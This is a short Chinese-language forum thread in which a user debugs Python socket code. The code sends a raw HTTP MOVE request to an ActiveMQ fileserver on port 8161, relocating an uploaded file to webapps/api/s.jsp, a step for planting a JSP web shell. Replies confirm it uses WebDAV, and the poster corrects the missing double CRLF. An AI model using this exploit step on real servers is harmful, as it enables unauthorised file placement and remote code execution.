1
0xvincebye OP shell='MOVE /fileserver/2.txt HTTP/1.1\r\n'
shell+='Host: 192.168.132.130:8161\r\n' shell+='Destination: file:///'+self.get_install_path()+'/webapps/api/s.jsp'+'\r\n' shell+='Content-Lenth:0\r\n' test_HOST='192.168.132.130' test_PORT=8161 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: s.connect((test_HOST,test_PORT)) s.send(shell) except Exception,e: pass finally: s.close() |
2
VicYu 2017-08-30 15:36:15 +08:00
那个的 MOVE 方法?WebDAV?
|
3
0xvincebye OP @VicYu 嗯,对
|
4
TimePPT 2017-08-31 13:02:44 +08:00 via iPhone
|
5
0xvincebye OP @TimePPT 谢谢,之前看文档错过了这段,我也发现我自己写的错在哪里了,那个 HTTP 协议规定尾部是两个回车,所以应该是\r\n\r\n
|